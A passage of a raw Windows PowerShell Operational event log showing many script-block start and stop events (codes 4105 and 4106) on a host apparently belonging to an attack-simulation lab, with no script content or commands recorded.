09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035180
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035179
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035178
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035177
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035176
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035175
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035174
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035173
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035172
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035171
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035170
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035169
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035168
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035167
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035166
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035165
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035164
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035163
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035162
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035161
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035160
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035159
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035158
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035157
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035156
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035155
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035154
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035153
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035152
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035151
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035150
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035149
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035148
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035147
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035146
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035145
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035144
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035143
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035142
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035141
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035140
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035139
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035138
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035137
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035136
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035135
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035134
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035133
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035132
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035131
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035130
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035129
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035128
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
